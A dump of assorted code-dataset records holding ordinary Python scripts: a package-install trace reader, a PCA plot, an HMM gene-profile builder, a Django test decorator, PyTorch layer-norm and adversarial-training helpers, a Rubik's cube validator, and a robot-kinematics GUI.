lines = self.read()\n links = list()\n for (cmd, action) in lines:\n if cmd == SYMLINK_MAKE and len(action):\n links.append(action)\n return links\n\n def files_configured(self):\n lines = self.read()\n files = list()\n for (cmd, action) in lines:\n if cmd == CFG_WRITING_FILE and len(action):\n files.append(action)\n files = list(set(files))\n files.sort()\n return files\n\n def pips_installed(self):\n lines = self.read()\n pips_installed = list()\n pip_list = list()\n for (cmd, action) in lines:\n if cmd == PIP_INSTALL and len(action):\n pip_list.append(action)\n for pip_data in pip_list:\n pip_info_full = json.loads(pip_data)\n if type(pip_info_full) is dict:\n pips_installed.append(pip_info_full)\n return pips_installed\n\n def packages_installed(self):\n lines = self.read()\n pkgs_installed = list()\n pkg_list = list()\n for (cmd, action) in lines:\n if cmd == PKG_INSTALL and len(action):\n pkg_list.append(action)\n for pkg_data in pkg_list:\n pkg_info = json.loads(pkg_data)\n if type(pkg_info) is dict:\n pkgs_installed.append(pkg_info)\n return pkgs_installed\n","sub_path":"anvil/trace.py","file_name":"trace.py","file_ext":"py","file_size_in_byte":7364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"447327937","text":"# PCA2\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA \nfrom sklearn.preprocessing import StandardScaler\n\ndata_csv = pd.read_csv('../../Downloads/gams.txt', usecols=[1,2,3,4,5,6])\n#pm=pd.read_csv('../../Downloads/gams.txt', usecols=[3,6])\ndata_csv = StandardScaler().fit_transform(data_csv)\n\n#data_csv= data_csv[['humidity','pm10','temperature','voc','pm25']]\npm =np.delete(data_csv,[0,1,2,5,6],1)\n\n#pm =np.delete(pm,3,1) \npca2=np.delete(data_csv,[0,2,3,4,6],1)\n\n\npm2 = PCA(n_components=1)\npca2=pm2.fit_transform(pca2)\n\npm2= pm2.fit_transform(pm)\n#for i in range (len(pm)):\n#\tprint(pm[i]) \n#plt.plot(pm2)\n#plt.plot(pm2)\nplt.plot(pm2)\n\nplt.legend(('co2','humidity','pm10','pm25','temperature','voc',),loc='upper right')\nplt.show()\n\nplt.plot(pca2)\nplt.show()\n","sub_path":"pca2.py","file_name":"pca2.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"585920147","text":"def fatorial(n, show=False):\n \"\"\"\n-->> Mostra o fatorial de um número\n parametro n: número pra o qual será mostrado o fatorial\n parametro show: (opcional) define se o processo de cálculo será mostrado\n return: Fatorial de n\n \"\"\"\n from time import sleep\n f = n\n for c in range(n, 0, -1):\n if show:\n if c != n:\n f *= c\n if c == 1:\n print(f'{c}', end=' = ')\n else:\n print(f'{c}', end=' x ')\n sleep(0.5)\n else:\n f *= c\n return f\n\n\n# Programa Principal\nprint(f'{fatorial(5, show=True)}')\nhelp(fatorial)\n","sub_path":"ex102.py","file_name":"ex102.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"199929675","text":"#!/usr/bin/env python3\n###############\n# MAKE GenePS !\n###############\nfrom compute_msa import *\nfrom collections import defaultdict\n\n\n##################\n# Global functions\n##################\n\ndef walk_through_input(input_dir):\n dir_hash = defaultdict(list)\n if not os.path.isdir(input_dir):\n dir_hash[os.path.dirname(input_dir)].append(os.path.split(input_dir)[-1])\n return dir_hash\n else:\n for subdir, dirs, files in os.walk(input_dir):\n for single_file in files:\n single_file = single_file\n single_folder = subdir\n dir_hash[single_folder].append(single_file)\n return dir_hash\n\n\ndef hash_fasta(fasta_file):\n fasta = {}\n active_sequence_name = \"\"\n with open(fasta_file) as file_one:\n for line in file_one:\n line = line.strip()\n if not line:\n continue\n if line.startswith(\">\"):\n active_sequence_name = line.split(\" \")[0]\n if active_sequence_name not in fasta:\n fasta[active_sequence_name] = []\n continue\n sequence = line\n fasta[active_sequence_name].append(sequence)\n file_one.close()\n return fasta\n\n\ndef get_outdir(output_dir):\n if os.path.isfile(output_dir):\n print(output_dir, \" is NOT a directory!\")\n print(\"Please specify an output directory\")\n sys.exit()\n elif not os.path.exists(output_dir):\n os.mkdir(output_dir)\n return output_dir\n else:\n return output_dir\n\n\ndef generate_hmm (hmm_path, msa_path):\n command = [\"hmmbuild\", hmm_path, msa_path]\n run_cmd(command=command, wait=True)\n return hmm_path\n\n\ndef get_phmm_score(hmm_file, query_file):\n command = [\"hmmsearch\", \"--noali\", hmm_file, query_file]\n read_count = 0\n for line in run_cmd(command=command, wait=False):\n if \"E-value\" in line or read_count ==1:\n read_count += 1\n elif read_count == 2:\n line = line.strip(\"\\n\").split()\n return float(line[1])\n\n\ndef get_consensus(hmm_file):\n command = \"hmmemit -c \" + hmm_file\n cons_list = []\n for line in run_cmd(command=command, wait=False):\n if not line.startswith(\">\"):\n cons_list.append(line.strip(\"\\n\"))\n return \"\".join(cons_list)\n\n\n# future use\ndef progress(iteration, steps, max_value):\n if int(iteration) == int(max_value):\n sys.stdout.write('\\r')\n print (\"[PROGRESS]\\t: %d%%\" % (100))\n elif int(iteration) % int(steps+1) == 0:\n sys.stdout.write('\\r')\n print (\"[PROGRESS]\\t: %d%%\" % (float(int(iteration)/int(max_value))*100))\n sys.stdout.flush()\n else:\n pass\n\n\ndef write_to_tempfile (tmp_name, string):\n new_file = open(tmp_name, \"w\")\n new_file.write(string)\n new_file.seek(0)\n new_file.close()\n\n\n###############\n# Scoring class\n###############\n\nclass ScoreObject:\n def __init__(self, fasta_dict, taxa, name, directory):\n self.fasta_hash = fasta_dict\n self.left_taxa = taxa\n self.dir = directory\n self.name = name + \".hmmGenePS\"\n self.hmm_path = None\n self.score_list = []\n\n def query_for_fasta(self, query):\n query = query.split()[0]\n return query + \"\\n\" + \"\".join(self.fasta_hash[query])\n\n def generate_msa_string(self, rest_prot):\n seq_list = []\n for taxa in rest_prot:\n taxa = taxa.split()[0]\n seq_list.append(taxa)\n seq_list.append(\"\".join(self.fasta_hash[taxa]))\n with tmp.NamedTemporaryFile() as r_tmp:\n write_to_tempfile(r_tmp.name, \"\\n\".join(seq_list))\n list_msa = generate_msa(r_tmp.name)\n return \"\\n\".join(list_msa)\n\n def compute_scores(self):\n for idx in range(0, len(self.left_taxa)):\n rest_prot = self.left_taxa[:]\n query = rest_prot.pop(idx)\n with tmp.NamedTemporaryFile() as q_tmp:\n write_to_tempfile(q_tmp.name, self.query_for_fasta(query))\n msa_string = self.generate_msa_string(rest_prot)\n with tmp.NamedTemporaryFile() as msa_tmp:\n write_to_tempfile(msa_tmp.name, msa_string)\n with tmp.NamedTemporaryFile() as hmm_tmp:\n generate_hmm(hmm_tmp.name, msa_tmp.name)\n score = get_phmm_score(hmm_tmp.name, q_tmp.name)\n self.score_list.append(int(score))\n return self.score_list\n\n def compute_full_phmm(self):\n msa_string = self.generate_msa_string(self.left_taxa)\n with tmp.NamedTemporaryFile() as msa_tmp:\n write_to_tempfile(msa_tmp.name, msa_string)\n self.hmm_path = os.path.join(self.dir, self.name)\n generate_hmm(self.hmm_path, msa_tmp.name)\n return self.hmm_path\n\n\nif __name__ == \"__main__\":\n check_programs(\"hmmsearch\", \"hmmemit\", \"hmmbuild\")\n infile = sys.argv[1]\n out_directory = sys.argv[2]\n out_dir = get_outdir(out_directory)\n\n # tmp_dir automatically cleaned up\n with tempdir() as tmp_dir:\n counter = 1\n dir_tree = walk_through_input(infile)\n number_groups = len(dir_tree)\n print(\"#\" * 27)\n print(\"# {} - groups given as input\".format(str(number_groups)))\n print(\"#\" * 27 + \"\\n\")\n\n # folder = group; file = cluster\n for folder, file_list in dir_tree.items():\n number_files = len(file_list)\n folder_name = folder.split(\"/\")[-1]\n print(\"[{}] starting with {} - containing {} files\\n\"\n .format(str(counter), folder_name, str(number_files)))\n\n # single results file per group\n results_path = os.path.join(out_dir, folder_name + \".makeGenePS\")\n results_file = open(results_path, \"w\")\n results_file.write(\"#group: {}\\n#group_size: {}\\n\".format(folder_name, str(number_files)))\n\n # run script for all files\n for file in file_list:\n file_name = file.strip().split(\".\")[0]\n file_path = os.path.join(folder, file)\n print(\"\\tanalyzing:\\t {}\\n\".format(file_name))\n fasta_hash = hash_fasta(file_path)\n\n # first MSA for pHMM consensus\n msa_list = generate_msa(file_path)\n msa_file = MsaObject(msa_list, file_name, tmp_dir)\n msa_file.msa_to_fasta()\n msa_file.trim_remove()\n msa_file.trim_length()\n\n # pHMM consensus\n cons_hmm = os.path.join(tmp_dir, file_name + \".chmm\")\n generate_hmm(cons_hmm, msa_file.path)\n consensus_seq = get_consensus(cons_hmm)\n print(consensus_seq)\n\n # compute scores\n left_taxa = msa_file.all_header()\n print(left_taxa)\n scoring_obj = ScoreObject(fasta_hash, left_taxa, file_name, out_dir)\n score_list = scoring_obj.compute_scores()\n phmm_path = scoring_obj.compute_full_phmm()\n print(\"\\tscores: \", score_list, \"\\n\")\n\n # write to results\n results_file.write(\">name: {}\\n>phmm_dir: {}\\n>score_list: {}\\n{}\\n\".\n format(file_name, phmm_path, score_list, consensus_seq))\n counter += 1\n results_file.close()\n\n\n\n# to add:\n # verbose and \"keep\" options (exchanging tmpdir)\n","sub_path":"make_GenePS.py","file_name":"make_GenePS.py","file_ext":"py","file_size_in_byte":7474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"223865453","text":"\"\"\"\nhttps://gist.github.com/integricho/5b7a7d089b79395bbac9\n\nHelper decorator for Django unittests, used to make sure that the expected\nsignals were fired the expected number of times.\nUsage:\n\n class MyTestCase(TestCase):\n\n @assert_signal_fired({\n 'my_signal_func': (my_signal_func, 1),\n 'other_signal_func': (other_signal_func, 0)\n })\n def test_something(self):\n ...test code here\n\nIt will connect a temporary handler function to the specified signals, count\nthe number of times those signals were invoked and at the end of the test\nassert whether the signals were called the expected number of times, and will\nproperly clean up after itself by disconnecting the temporary signal handlers.\n\"\"\"\nfrom functools import partial\n\n\ndef assert_signal_fired(expectations):\n _counters = {}\n\n def signal_fired_handler(signal_name, *args, **kwargs):\n _counters[signal_name] = _counters.get(signal_name, 0) + 1\n\n def _assert_signal_fired(func):\n def __assert_signal_fired(self, *args, **kwargs):\n _connected = []\n\n for signal_name, (signal_func, call_count) in expectations.items():\n handler = partial(signal_fired_handler, signal_name)\n signal_func.connect(handler)\n _connected.append((signal_name,\n signal_func,\n call_count,\n handler))\n\n result = func(self, *args, **kwargs)\n\n for conn in _connected:\n (signal_name, signal_func, expected_call_count, handler) = conn\n signal_func.disconnect(handler)\n call_count = _counters.get(signal_name, 0)\n msg = ('{0} was expected to be called {1} time(s), '\n 'but was called {2} time(s).')\n msg = msg.format(signal_name, expected_call_count, call_count)\n self.assertEqual(call_count, expected_call_count, msg=msg)\n\n return result\n return __assert_signal_fired\n return _assert_signal_fired\n","sub_path":"summoner/tests/helpers/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"517159259","text":"'''\r\nSTEPS FOR GENERATING A DATABASE:\r\n\r\nfrom database_controller import Database\r\nimport pandas as pd\r\ndb = Database('properties.db')\r\ndb.close_connection()\r\n'''\r\n\r\nimport sqlite3\r\nimport pandas as pd\r\n\r\nclass Database(object):\r\n\tdef __init__(self, db_name):\r\n\t\t'''\r\n\t\tCreates a sqlite3 connection (or fires error if it cannot), converts excel file to DataFrame, adds the SELECTED column,\r\n\t\tconverts DataFrame to database tabel via function call.\r\n\t\t'''\r\n\t\tconn = None\r\n\r\n\t\ttry:\r\n\t\t\tconn = sqlite3.connect(db_name)\r\n\t\t\tprint(sqlite3.version)\r\n\t\texcept sqlite3.Error as e:\r\n\t\t\tprint(e)\r\n\t\tfinally:\r\n\t\t\tif conn:\r\n\t\t\t\tself.conn = conn\r\n\r\n\t\t\t\tfull_df = pd.read_excel('data/Enodo_Skills_Assessment_Data_File.xlsx').rename(columns={'Full Address':'FULL_ADDRESS'\\\r\n\t\t\t\t\t,'Latitude':'LATITUDE','Longitude':'LONGITUDE','Zip':'ZIP'})\r\n\t\t\t\tfull_df['SELECTED'] = 0\r\n\t\t\t\tself._generate_db_from_excel(full_df)\r\n\r\n\tdef close_connection(self):\r\n\t\t'''\r\n\t\tCloses connection to database instance.\r\n\t\t'''\r\n\t\tif self.conn:\r\n\t\t\tself.conn.close()\r\n\r\n\tdef _generate_db_from_excel(self, df):\r\n\t\t'''\r\n\t\tTakes previously generated DataFrame and sends to the established database connection, overwriting the table specified.\r\n\t\t'''\r\n\t\tdf.to_sql('PROPERTIES', self.conn, if_exists='replace', index = False)","sub_path":"property_search/database_controller.py","file_name":"database_controller.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"142552863","text":"import torch\nimport numbers\nfrom torch.nn.parameter import Parameter\nfrom torch.nn import Module\nfrom torch.nn import functional as F\nfrom torch.nn import init\nfrom torch import nn\n\nfrom torch import Tensor, Size\nfrom typing import Union, List\n_shape_t = Union[int, List[int], Size]\n\nclass ConditionalLayerNorm(Module):\n __constants__ = ['normalized_shape', 'eps', 'elementwise_affine']\n normalized_shape: _shape_t\n eps: float\n elementwise_affine: bool\n\n def __init__(self, normalized_shape: _shape_t, conditional_size: int ,eps: float = 1e-5, elementwise_affine: bool = True) -> None:\n super(ConditionalLayerNorm, self).__init__()\n if isinstance(normalized_shape, numbers.Integral):\n normalized_shape = (normalized_shape,)\n self.normalized_shape = tuple(normalized_shape)\n self.eps = eps\n self.elementwise_affine = elementwise_affine\n if self.elementwise_affine:\n self.weight = Parameter(torch.Tensor(*normalized_shape))\n self.bias = Parameter(torch.Tensor(*normalized_shape))\n else:\n self.register_parameter('weight', None)\n self.register_parameter('bias', None)\n self.conditional_size = conditional_size\n self.weight_dense = nn.Linear(conditional_size,self.normalized_shape[0],bias=False)\n self.bias_dense = nn.Linear(conditional_size, self.normalized_shape[0],bias=False)\n self.reset_parameters()\n\n def reset_parameters(self) -> None:\n if self.elementwise_affine:\n init.ones_(self.weight)\n init.zeros_(self.bias)\n init.zeros_(self.weight_dense.weight)\n init.zeros_(self.bias_dense.weight) \n\n def forward(self, input: Tensor,conditional: Tensor) -> Tensor:\n conditional = torch.unsqueeze(conditional, 1)\n add_weight = self.weight_dense(conditional)\n add_bias = self.bias_dense(conditional)\n weight = self.weight + add_weight\n bias = self.bias + add_bias\n outputs = input\n mean = torch.mean(outputs, dim=-1, keepdim=True)\n outputs = outputs - mean\n variance = torch.mean(torch.square(outputs), dim=-1, keepdim=True)\n std = torch.sqrt(variance + self.eps)\n outputs = outputs / std\n outputs = outputs * weight\n outputs = outputs + bias\n return outputs\n\nclass GlobalAveragePooling1D(Module):\n def __init__(self,support_mask=True) -> None:\n super(GlobalAveragePooling1D, self).__init__()\n self.supports_masking = True\n \n def forward(self, inputs,mask=None,dim=1):\n if self.supports_masking:\n mask = mask.type(inputs.dtype)\n mask = mask.unsqueeze(2)\n inputs *= mask\n return torch.sum(inputs, dim=dim) / torch.sum(mask,dim=dim)\n else:\n return torch.mean(inputs, dim=dim)\n\n\nclass FGM():\n def __init__(self, model):\n self.model = model\n self.backup = {}\n\n def attack(self, epsilon=1., emb_name='word_embeddings'):\n # emb_name这个参数要换成你模型中embedding的参数名\n # 例如,self.emb = nn.Embedding(5000, 100)\n for name, param in self.model.named_parameters():\n if param.requires_grad and emb_name in name:\n self.backup[name] = param.data.clone()\n norm = torch.norm(param.grad) # 默认为2范数\n if norm != 0:\n r_at = epsilon * param.grad / norm\n param.data.add_(r_at)\n\n def restore(self, emb_name='word_embeddings'):\n # emb_name这个参数要换成你模型中embedding的参数名\n for name, param in self.model.named_parameters():\n if param.requires_grad and emb_name in name: \n assert name in self.backup\n param.data = self.backup[name]\n self.backup = {}\n","sub_path":"21Baidu_/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":3868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"558938702","text":"#!/usr/bin/env python3\n# license removed for brevity\n#encoding:utf-8\nimport tkinter as tk\nimport numpy as np\nimport kinematics as km\ndef Kinematics():\n kine_win = tk.Toplevel()\n kine_win.title('Kinematics')\n kine_win.geometry('500x425')\n kine_win.wm_attributes(\"-topmost\",1)\n\n pos_str='x y z pitch roll yaw'\n pos_input=[]\n pos_entry=[]\n pos_label=[]\n pos_val=np.array([0, 368, 113.5, -90, 0, 0])\n ang_input=[]\n ang_entry=[]\n ang_label=[]\n ang_val=np.array([0, 0, 0, 0, -90, 0])\n def Calculate(pos_val,ang_val):\n # global pos_val,ang_val\n cal_rslt=np.zeros((1,12))\n if cal_var.get()=='P2A':\n for i in range(6):\n if pos_entry[i].get():\n pos_val[i]=float(pos_entry[i].get())*10*0.1**(i//3)\n cal_rslt=km.PosToAng(pos_val)\n else :\n for i in range(6):\n if ang_entry[i].get():\n ang_val[i]=float(ang_entry[i].get())\n cal_rslt=km.AngToPos(ang_val)\n pos_val=cal_rslt[0:6]\n ang_val=cal_rslt[6:12]\n for i in range(6):\n pos_label[i].config(text=pos_str.split()[i]+': '+str(np.around(pos_val[i]*0.1*10**(i//3),decimals=2)))\n ang_label[i].config(text='Axis'+str(i+1)+': '+str(np.around(ang_val[i],decimals=2)))\n for i in range(6):\n pos_input.append(tk.Label(kine_win,text=pos_str.split()[i]+':',width=4,font=('Arial', 15)))\n pos_input[i].place(x=30+150*(i%3),y=185+40*(i//3))\n pos_entry.append(tk.Entry(kine_win,width=9))\n pos_entry[i].place(x=80+150*(i%3),y=190+40*(i//3))\n ang_input.append(tk.Label(kine_win,text='Axis'+str(i+1)+':',width=6,font=('Arial', 15)))\n ang_input[i].place(x=15+150*(i%3),y=265+40*(i//3))\n ang_entry.append(tk.Entry(kine_win,width=9))\n ang_entry[i].place(x=80+150*(i%3),y=270+40*(i//3))\n\n pos_label.append(tk.Label(kine_win,text=pos_str.split()[i]+': '+str(np.around(pos_val[i]*0.1*10**(i//3),decimals=2)),fg='black',bg='white', font=('Arial', 15), width=13, height=1))\n pos_label[i].place(x=30+150*(i%3),y=20+40*(i//3))\n ang_label.append(tk.Label(kine_win,text='Axis'+str(i+1)+': '+str(np.around(ang_val[i],decimals=2)),fg='black',bg='white', font=('Arial', 15), width=13, height=1))\n ang_label[i].place(x=30+150*(i%3),y=100+40*(i//3))\n cal_var=tk.StringVar(value='P2A')\n p2a=tk.Radiobutton(kine_win,text='Pos to Ang',variable=cal_var, value='P2A',font=('Arial', 13))\n p2a.place(x=40,y=350)\n a2p=tk.Radiobutton(kine_win,text='Ang to Pos',variable=cal_var, value='A2P',font=('Arial', 13))\n a2p.place(x=40,y=380)\n\n cal_confirm = tk.Button(kine_win,text='Calculate',font=('Arial', 15),width=14,height=2,command=lambda: Calculate(pos_val,ang_val)) \n cal_confirm.place(x=165,y=350)\n\n kine_win.mainloop()\n\n# Kinematics()\n","sub_path":"src/Socket_Control/kinematics_interface.py","file_name":"kinematics_interface.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"330548061","text":"from yacs_utils import *\nimport numpy as np\n\n\nclass Cube():\n def __init__(self,colors):\n #print(colors)\n print(\"\"\"##############################\\n# CONSTRUCTORS #\\n##############################\"\"\")\n self.colors = colors\n self.original_colors = colors\n self.scheme = {}\n self.color_scheme()\n self.pieces = {}\n self.build_pieces()\n print(\"cube created correctly\")\n print(\"\"\"##############################\\n# VALIDATION #\\n##############################\"\"\")\n self.print_colors(self.pieces,\"PIEZAS:\")\n self.print_colors(self.scheme,\"ESQUEMA:\")\n \n #print(self.color_str_format(self.pieces))\n #print(\"cubo válido\" if self.is_valid() else \"no es válido\")\n #print(self.color_str_format(str(self.scheme)))\n if(self.is_valid()):\n print(\"VALID SCHEMA, CUBE IS SOLVABLE\")\n else:\n print(\"UNVALID SCHEMA, CUBE IS NOT SOLVABLE\")\n\n \n \"\"\"#########################\n # CONSTRUCTORS #\n #########################\"\"\"\n def color_scheme(self):\n self.scheme = {\n \"F\":self.colors[\"f\"][4],\"U\":self.colors[\"u\"][4],\n \"R\":self.colors[\"r\"][4],\"L\":self.colors[\"l\"][4],\n \"D\":self.colors[\"d\"][4],\"B\":self.colors[\"b\"][4]\n }\n \n def build_pieces(self):\n self.pieces[\"UF\"] = [self.colors[\"u\"][7],self.colors[\"f\"][1]]\n self.pieces[\"UR\"] = [self.colors[\"u\"][5],self.colors[\"r\"][1]]\n self.pieces[\"UB\"] = [self.colors[\"u\"][1],self.colors[\"b\"][1]]\n self.pieces[\"UL\"] = [self.colors[\"u\"][3],self.colors[\"l\"][1]]\n\n self.pieces[\"DF\"] = [self.colors[\"d\"][1],self.colors[\"f\"][7]]\n self.pieces[\"DR\"] = [self.colors[\"d\"][5],self.colors[\"r\"][7]]\n self.pieces[\"DB\"] = [self.colors[\"d\"][7],self.colors[\"b\"][7]]\n self.pieces[\"DL\"] = [self.colors[\"d\"][3],self.colors[\"l\"][7]]\n\n self.pieces[\"FL\"] = [self.colors[\"f\"][3],self.colors[\"l\"][5]]\n self.pieces[\"FR\"] = [self.colors[\"f\"][5],self.colors[\"r\"][3]]\n self.pieces[\"BL\"] = [self.colors[\"b\"][5],self.colors[\"l\"][3]]\n self.pieces[\"BR\"] = [self.colors[\"b\"][3],self.colors[\"r\"][5]]\n\n \"\"\"#########################\n # VALIDATION #\n #########################\"\"\"\n def is_valid(self):\n return self.is_valid_edges() and self.is_valid_corners() and self.is_valid_centers()\n \n def is_valid_edges(self):\n unoriented_pieces=[]\n unoriented = 0\n for piece in self.pieces:\n #self.print_colors(self.pieces[piece],piece)\n #print(self.scheme[\"U\"])\n if(self.scheme[\"U\"] in list(self.pieces[piece]) or self.scheme[\"D\"] in list(self.pieces[piece])) and piece not in unoriented_pieces:\n #print(piece[0],self.color_str_format(list(self.pieces[piece])[0]),piece[1],self.color_str_format(list(self.pieces[piece])[1]))\n if piece[1] in \"LR\" and list(self.pieces[piece])[1] in [self.scheme[\"U\"],self.scheme[\"D\"]]:\n #print(\"una mal orientada\")\n #print(piece)\n unoriented+=1\n if piece not in unoriented_pieces: unoriented_pieces.append(piece)\n if(self.scheme[\"R\"] in list(self.pieces[piece]) or self.scheme[\"L\"] in list(self.pieces[piece]) and piece not in unoriented_pieces):\n #print(piece[0],self.color_str_format(list(self.pieces[piece])[0]),piece[1],self.color_str_format(list(self.pieces[piece])[1]))\n if piece[0] in \"UD\" and list(self.pieces[piece])[0] in [self.scheme[\"L\"],self.scheme[\"R\"]]:\n #print(\"una mal orientada\")\n #print(piece)\n unoriented+=1\n if piece not in unoriented_pieces: unoriented_pieces.append(piece)\n if((piece in [\"UF\", \"DF\", \"UB\", \"DB\"]) and list(self.pieces[piece])[1] in [self.scheme[\"U\"],self.scheme[\"D\"]]) and piece not in unoriented_pieces:\n #print(piece)\n unoriented +=1\n if piece not in unoriented_pieces: unoriented_pieces.append(piece)\n \n #if(self.scheme[\"U\"] in list(self.pieces[piece])[1] or self.scheme[\"D\"] in list(self.pieces[piece])[1]):\n # pass\n #print(piece[0],list(self.pieces[piece])[0],piece[1],list(self.pieces[piece])[1])\n \n if not (self.oposing_or_same_colors_edge(list(self.pieces[piece]))):\n print(\"EL CUBO ES IMPOSIBLE\")\n return False\n #print(unoriented_pieces)\n print(\"TOTAL NOT ORIENTED EDGES:\",unoriented_pieces)\n #print(unoriented%2)\n if unoriented%2 is 0:\n print(\"THE CUBE SEEMS SOLVABLE EDGE-WISE\")\n return True\n print(\"THEREs A FLIPPED EDGE\")\n return False\n\n def is_valid_centers(self):\n used_centers = []\n for _, center in self.scheme.items():\n if center not in used_centers:\n used_centers.append(center)\n else:\n print(\"CENTERS ARE NOT VALID\")\n return False\n return True\n\n def is_valid_corners(self):\n \n print(\"VALID CORNERS\")\n return True\n\n def oposing_or_same_colors_edge(self,inarr):\n #print(inarr)\n a=\"\"\n for key,value in self.scheme.items():\n if str(inarr[0]) in str(value):\n a+=str(key)\n #print(\"first_for\")\n for key,value in self.scheme.items():\n if str(inarr[1]) in str(value):\n a+=str(key)\n #print(a)\n if a in [\"UU\",\"DD\",\"RR\",\"LL\",\"FF\",\"BB\"]:\n return False\n if a in [\"UD\",\"DU\",\"LR\",\"RL\",\"FB\",\"BF\"]:\n return False\n return True\n \n def oposing_or_same_colors_corner(self,inarr):\n #print(inarr)\n a=\"\"\n for key,value in self.scheme.items():\n if str(inarr[0]) in str(value):\n a+=str(key)\n #print(\"first_for\")\n for key,value in self.scheme.items():\n if str(inarr[1]) in str(value):\n a+=str(key)\n #print(a)\n if a in [\"UU\",\"DD\",\"RR\",\"LL\",\"FF\",\"BB\"]:\n return False\n if a in [\"UD\",\"DU\",\"LR\",\"RL\",\"FB\",\"BF\"]:\n return False\n return True\n\n \"\"\"#########################\n # MOVES #\n #########################\"\"\"\n def move_R(self):\n print(self.color_str_format(self.colors[\"r\"]))\n print(self.color_str_format(rotate_90(self.colors[\"r\"])))\n \n def move_Ri(self):\n print(self.color_str_format(self.colors[\"r\"]))\n print(self.color_str_format(rotate_270(self.colors[\"r\"])))\n \n def move_2R(self):\n print(self.color_str_format(self.colors[\"r\"]))\n print(self.color_str_format(rotate_180(self.colors[\"r\"])))\n\n \"\"\"#########################\n # PRETTY #\n #########################\"\"\"\n def color_str_format(self,in_str):\n return(str(in_str).replace(\n \"1\",\"white\" \n ).replace(\n \"2\",\"yellow\"\n ).replace(\n \"3\",\"red\"\n ).replace(\n \"4\",\"orange\"\n ).replace(\n \"5\",\"green\"\n ).replace(\n \"6\",\"blue\"\n ))\n\n def print_colors(self,in_str,something=\"\"):\n print(something,str(in_str).replace(\n \"1\",\"white\" \n ).replace(\n \"2\",\"yellow\"\n ).replace(\n \"3\",\"red\"\n ).replace(\n \"4\",\"orange\"\n ).replace(\n \"5\",\"green\"\n ).replace(\n \"6\",\"blue\"\n ))\n\"\"\"\ncolors:\n1 white\n2 yellow\n3 red\n4 orange\n5 green\n6 blue\n\"\"\"\n\"\"\"\nfichas:\nUF UR UB UL\nDF DR DB DL\nFL FR BL BR\n\n\"\"\"\nshape2 = {\n \"u\":[6,3,3,\n 1,1,6,\n 4,5,2],\n \"f\":[1,2,4,\n 5,5,6,\n 3,6,3],\n \"d\":[5,3,2,\n 2,2,3,\n 1,4,4],\n \"b\":[2,1,4,\n 2,6,4,\n 2,2,6],\n \"l\":[1,5,5,\n 1,4,4,\n 3,6,1],\n \"r\":[6,4,5,\n 1,3,3,\n 6,5,5]\n}\nshape3 = {\n \"u\":[6,3,3,\n 1,1,6,\n 4,2,2],\n \"f\":[1,5,4,\n 5,5,6,\n 3,6,3],\n \"d\":[5,3,2,\n 2,2,3,\n 1,4,4],\n \"b\":[2,1,4,\n 2,6,4,\n 2,2,6],\n \"l\":[1,5,5,\n 1,4,4,\n 3,6,1],\n \"r\":[6,4,5,\n 1,3,3,\n 6,5,5]\n}\nshape = {\n \"u\":[1,1,1,\n 1,1,1,\n 1,1,1],\n \"f\":[5,5,5,\n 5,5,5,\n 5,5,5],\n \"d\":[2,2,2,\n 2,2,2,\n 2,2,2],\n \"b\":[6,6,6,\n 6,6,6,\n 6,6,6],\n \"l\":[4,4,4,\n 4,4,4,\n 4,4,4],\n \"r\":[3,3,3,\n 3,3,3,\n 3,3,3]\n}\n\na = Cube(shape3)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"70042317","text":"import os\nimport sys\nimport math\nfrom argparse import *\nimport PyFrensie.Geometry.DagMC as DagMC\nimport PyFrensie.Utility.Distribution as Distribution\nimport PyFrensie.MonteCarlo as MonteCarlo\nimport PyFrensie.MonteCarlo.Collision as Collision\nimport PyFrensie.MonteCarlo.ActiveRegion as ActiveRegion\nimport PyFrensie.MonteCarlo.Event as Event\nimport PyFrensie.MonteCarlo.Manager as Manager\nimport PyFrensie.Data as Data\nimport PyFrensie.Utility.Mesh as Mesh\nimport PyFrensie.Utility as Utility\nimport PyFrensie.Utility.MPI as MPI\nimport PyFrensie.Utility.DirectionDiscretization as DirectionDiscretization\nimport PyFrensie.Utility.Coordinate as Coordinate\n\nclass forward_estimator:\n\n def __init__(self, \n rendezvous_file_name, \n mesh, \n detector_element_id, \n energy_discretization, \n PQLA_quadrature):\n\n self.collision_mean_result_list = []\n self.collision_re_result_list = []\n \n self.tl_mean_result_list = []\n self.tl_re_result_list = []\n\n self.total_simulation_time = 0\n\n self.rendezvous_file_name = rendezvous_file_name\n\n # Mesh used for estimators and importance weight mesh\n self.mesh = mesh\n\n self.number_of_mesh_elements = mesh.getNumberOfElements()\n\n # Detector element ID in mesh\n self.detector_element = detector_element_id\n\n # Energy discretization for importance weight mesh\n self.energy_discretization = energy_discretization\n self.number_of_energy_elements = len(self.energy_discretization)-1\n\n # direction stuff\n self.direction_discretization = PQLA_quadrature\n\n self.number_of_direction_elements = self.direction_discretization.getNumberOfTriangles()\n\n #initialize bin normalization constants\n self.normalization_constants = []\n for mesh_element in range(self.number_of_mesh_elements):\n element_volume = self.mesh.getElementVolume(mesh_element)\n energy_normalization_constant_list = []\n for energy_element in range(self.number_of_energy_elements):\n energy_bin_size = self.energy_discretization[energy_element+1]-self.energy_discretization[energy_element]\n direction_normalization_constant_list = []\n for direction_element in range(self.number_of_direction_elements):\n triangle_area = self.direction_discretization.getTriangleArea(direction_element)\n normalization_constant = element_volume*energy_bin_size*triangle_area\n 